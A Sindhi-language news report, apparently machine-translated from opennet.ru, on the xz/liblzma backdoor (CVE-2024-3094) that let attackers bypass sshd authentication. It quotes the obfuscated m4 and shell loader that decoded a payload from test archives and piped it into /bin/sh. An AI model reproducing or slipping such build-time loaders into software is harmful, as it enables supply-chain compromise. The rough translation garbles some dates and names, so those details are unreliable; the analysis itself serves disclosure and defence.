xz/liblzma لائبريري ۾ هڪ پوئين دروازو دريافت ڪيو ويو جيڪو sshd ذريعي داخل ٿيڻ جي اجازت ڏئي ٿو

XZ Utils پيڪيج ۾، جنهن ۾ ".xz" فارميٽ ۾ ڪمپريسر ٿيل ڊيٽا سان ڪم ڪرڻ لاءِ liblzma لائبريري ۽ يوٽيلٽيز شامل آهن، هڪ پٺئين دروازي (CVE-2024-3094) جي نشاندهي ڪئي وئي آهي جيڪا لاڳاپيل ايپليڪيشنن پاران پروسيس ڪيل ڊيٽا جي مداخلت ۽ ترميم جي اجازت ڏئي ٿي. liblzma لائبريري سان. پٺئين دروازي جو بنيادي مقصد OpenSSH سرور آهي، جيڪو ڪجهه تقسيم ۾ libsystemd لائبريري سان گڏ هوندو آهي، جيڪو بدلي ۾ liblzma استعمال ڪندو آهي. sshd کي ڪمزور لائبريري سان ڳنڍڻ جي اجازت ڏئي ٿي حملي ڪندڙن کي SSH سرور تائين رسائي حاصل ڪرڻ جي بغير تصديق جي.

پٺڀرائي 5.6.0 فيبروري ۽ 5.6.1 مارچ تي شايع ٿيل سرڪاري رليز 24 ۽ 9 ۾ موجود هئي، جيڪي ڪجهه تقسيم ۽ مخزنن ۾ حاصل ڪرڻ ۾ ڪامياب ٿي ويون، مثال طور، Gentoo، Arch Linux، Debian sid/unstable، Fedora Rawhide ۽ 40-beta، openSUSE factory and tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. xz 5.6.0 ۽ 5.6.1 رليز جي سڀني استعمال ڪندڙن کي فوري طور تي ورجن 5.4.6 ڏانهن واپس اچڻ جي صلاح ڏني وئي آهي.

مسئلن کي گھٽائڻ وارن عنصرن مان، اھو نوٽ ڪري سگھجي ٿو ته لِبلزما جو ورجن پٺاڻن سان وڏي ڊسٽريبيوشن جي مستحڪم رليز جو حصو نه بڻيو، پر OpenSUSE Tumbleweed ۽ Fedora 40-beta کي متاثر ڪيو. آرڪ لينڪس ۽ جينٽو zx جو هڪ ڪمزور ورزن استعمال ڪيو، پر حملي لاءِ حساس نه آهن ڇو ته اهي Openssh تي systemd-notify پيچ لاڳو نٿا ڪن، جنهن ڪري sshd کي liblzma سان ڳنڍيو وڃي ٿو. پوئين دروازي صرف x86_64 سسٽم کي متاثر ڪري ٿو لينڪس ڪنيل ۽ Glibc C لائبريري جي بنياد تي.

بيڪ ڊور ايڪٽيويشن ڪوڊ m4 macros ۾ لڪايو ويو هو build-to-host.m4 فائل مان استعمال ڪيو ويو آٽو ميڪ ٽول ڪٽ پاران تعمير ڪرڻ وقت. اسيمبليءَ دوران، آرڪائيوز (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) جي بنياد تي پيچيده آپريشن جي عمل جي دوران، آپريشن جي درستي کي جانچڻ لاءِ استعمال ڪيو ويو، بدسلوڪي ڪوڊ سان هڪ اعتراض فائل ٺاهي وئي، جنهن ۾ شامل ڪيو ويو. liblzma لائبريري ۽ آپريشن منطق کي تبديل ڪيو ان جا ڪجھ افعال. m4 ميڪرو جيڪي پٺتي پيل دروازن کي چالو ڪن ٿا رليز ٽربالز ۾ شامل ڪيا ويا، پر گٽ مخزن ۾ نه هئا. ساڳئي وقت، خراب ٽيسٽ آرڪائيوز مخزن ۾ موجود هئا، يعني. جيڪو شخص پٺئين دروازي تي عمل ڪيو، ان کي ريپوزٽري ۽ رليز جنريشن جي عملن تائين رسائي حاصل هئي.

جڏهن ايپليڪيشنن ۾ liblzma استعمال ڪندي، خراب تبديليون استعمال ڪري سگهجن ٿيون ڊيٽا کي مداخلت ڪرڻ يا تبديل ڪرڻ، يا sshd جي آپريشن کي متاثر ڪرڻ لاء. خاص طور تي، بدسلوڪي ڪوڊ RSA_public_decrypt فنڪشن کي sshd جي تصديق واري عمل کي نظرانداز ڪرڻ لاءِ چورايو. پٺئين دروازي ۾ سڃاڻپ کان تحفظ شامل آهي ۽ پاڻ کي ظاهر نه ڪيو ويو جڏهن LANG ۽ TERM ماحوليات متغير مقرر ڪيا ويا (يعني جڏهن ٽرمينل ۾ پروسيس کي هلائي رهيا هئا) ۽ LD_DEBUG ۽ LD_PROFILE ماحوليات متغير مقرر نه ڪيا ويا، ۽ صرف ان وقت چالو ڪيو ويو جڏهن ان تي عمل ڪيو ويو. /usr/sbin/sshd قابل عمل فائل. پٺئين دروازي وٽ پڻ ڊيبگ ماحول ۾ عملدرآمد کي ڳولڻ جو هڪ وسيلو هو.

خاص طور تي، m4/build-to-host.m4 فائل استعمال ڪئي وئي gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev/ null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1] _prefix -d 2>/dev/null'

پهرين اڏاوت ۾، گريپ آپريشن مليو فائل tests/files/bad-3-corrupt_lzma2.xz، جنهن کي، جڏهن ان پيڪ ڪيو ويو، اسڪرپٽ ٺاهي: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` جيڪڏھن ٽيسٽ -f ../../config.status؛ پوءِ eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi Export i =»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####دنيا####

ڪيئن حملي آورن xz پروجيڪٽ جي بنيادي ڍانچي تائين رسائي حاصل ڪرڻ ۾ ڪامياب ٿي ويا، اڃا تائين مڪمل طور تي واضح نه ڪيو ويو آهي. اهو اڃا تائين واضح ناهي ته ڪيترا صارفين ۽ منصوبن جي پٺڀرائي جي نتيجي ۾ سمجهوتو ڪيو ويو. پٺئين دروازي جو مبينا ليکڪ (JiaT75 - Jia Tan)، جنهن مخزن ۾ بدسلوڪي ڪوڊ سان آرڪائيو پوسٽ ڪيو، فيڊورا ڊولپرز سان رابطو ڪيو ۽ ڊبيان ڏانهن ڇڪڻ جون درخواستون موڪليائين جيڪي xz 5.6.0 برانچ ۾ تقسيم جي منتقلي سان لاڳاپيل آهن، ۽ نه ڪيو. شڪ پيدا ڪيو، ڇاڪاڻ ته هن xz ۾ حصو ورتو گذريل ٻن سالن کان ترقي ڪري رهيو آهي ۽ تبديلين جي تعداد جي لحاظ کان ٻيو ڊولپر آهي. xz پروجيڪٽ جي اضافي ۾، پٺئين دروازي جي مبينا ليکڪ پڻ xz-java ۽ xz-embedded پيڪيجز جي ترقي ۾ حصو ورتو. ان کان علاوه، جيا تن ڪجهه ڏينهن اڳ لينڪس ڪنييل ۾ استعمال ٿيل XZ ايمبيڊڊ پروجيڪٽ جي سنڀاليندڙن جي تعداد ۾ شامل ڪيو ويو.

بدسلوڪي تبديلي دريافت ڪئي وئي گھڻي سي پي يو استعمال جي تجزيي کان پوءِ ۽ والگرائنڊ پاران پيدا ٿيل غلطيون جڏهن ssh ذريعي ڊيبين سيڊ تي ٻڌل سسٽم سان ڳنڍڻ. اهو قابل ذڪر آهي ته xz 5.6.1 رليز ۾ شامل ڪيل تبديليون شامل آهن بڪ ڊور جي مبينا ليکڪ پاران تيار ڪيل sshd سست رفتاري ۽ حادثن بابت شڪايتن جي جواب ۾ جيڪي بيڪ ڊور سان zx 5.6.0 ورزن کي اپڊيٽ ڪرڻ کان پوءِ پيدا ٿيون. اضافي طور تي، گذريل سال جيا تان تبديليون ڪيون جيڪي "-fsanitize=address" انسپيڪشن موڊ سان مطابقت نه رکن ٿيون، ان کي فز جاچ دوران غير فعال ڪيو ويو.

جو ذريعو: opennet.ru

تبصرو شامل ڪريو